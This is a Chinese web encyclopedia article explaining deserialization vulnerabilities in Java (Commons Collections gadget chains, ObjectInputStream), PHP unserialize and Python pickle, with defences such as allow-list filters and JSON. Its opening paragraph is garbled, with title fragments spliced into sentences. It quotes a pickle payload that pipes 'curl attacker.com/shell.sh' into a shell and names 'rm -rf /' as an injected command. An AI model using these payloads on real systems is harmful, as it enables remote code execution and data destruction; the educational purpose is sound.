当前位置:首页 > 百科

反序列化漏洞原理

```html

一个Java服务端接口收到Base64字符串,反序解码后直接丢给ObjectInputStream的列化漏洞readObject()——这行代码就是反序列化漏洞的引爆点。攻击者不需要认证,原理只要构造一段恶意字节流,反序就能让服务器执行任意命令。列化漏洞2015年WebLogic的原理T3协议反序列化、2017年Struts2的反序S2-052、2021年Log4j2的列化漏洞JNDI注入链,根子都扎在这里。原理

序列化本身是反序个好东西。把对象状态转成字节流,列化漏洞存磁盘、原理走网络,反序省事。列化漏洞问题出在“反序列化”这一步:字节流被还原成对象时,原理会触发类加载、构造方法、readObject回调、readResolve、readExternal——这些方法里但凡有危险操作,攻击者就能借刀杀人。

拿Java举例。假设服务端有个类User实现了Serializable,它的readObject方法里写了Runtime.getRuntime().exec(this.cmd)。正常业务里cmd是固定值,但攻击者可以手动构造序列化数据,把cmd改成rm -rf /。服务器反序列化时,readObject被调用,命令就执行了。这里的关键是:反序列化过程会信任字节流里的数据,而字节流完全由攻击者控制。

现实中的利用链更隐蔽。单个类往往没有直接的危险方法,但多个类组合起来能形成“gadget chain”。比如Apache Commons Collections库里的InvokerTransformer,能通过反射调用任意方法。攻击者构造一个Map,里面嵌套Transformer链,反序列化时触发transform,最终执行exec。这条链在2015年炸穿了半个Java生态,因为太多中间件依赖这个库。

PHP的情况类似但更直接。unserialize()函数遇到__wakeup()或__destruct()魔术方法,如果方法里写了文件操作或命令执行,攻击者就能通过控制序列化字符串里的属性值来利用。典型场景是Session反序列化:PHP默认用文件存Session,但有些框架把Session数据序列化后塞进Cookie,客户端一改,服务端unserialize,漏洞就来了。

Python的pickle模块同样不设防。它的__reduce__方法允许在反序列化时指定可调用对象和参数。攻击者构造一个pickle数据,让__reduce__返回(os.system, ('curl attacker.com/shell.sh | sh',)),服务端pickle.loads()一执行,远程命令就跑起来了。Django、Flask的某些Session实现就踩过这个坑。

为什么这类漏洞反复出现?因为开发者容易把“数据”当“代码”用。序列化数据看起来是二进制或字符串,但反序列化引擎把它当指令执行。防御手段其实不复杂:不要反序列化不可信数据。如果必须做,用JSON、XML这类纯数据格式替代原生序列化。Java里可以配置ObjectInputFilter白名单,PHP可以禁用unserialize或改用json_decode。但现实是,很多老系统改不动,依赖库又层层嵌套,一个readObject就能撕开整条防线。

我见过一个真实案例:某电商后台的RMI接口直接暴露在公网,攻击者用ysoserial生成CommonsCollections链的payload,Base64编码后发过去,服务器秒回一个id命令的执行结果。运维查日志时只看到一串乱码,根本不知道发生了什么。这种漏洞的可怕之处在于——它不需要你写错业务逻辑,只要用了不安全的反序列化API,就等于把后门焊在了代码里。

```

分享到: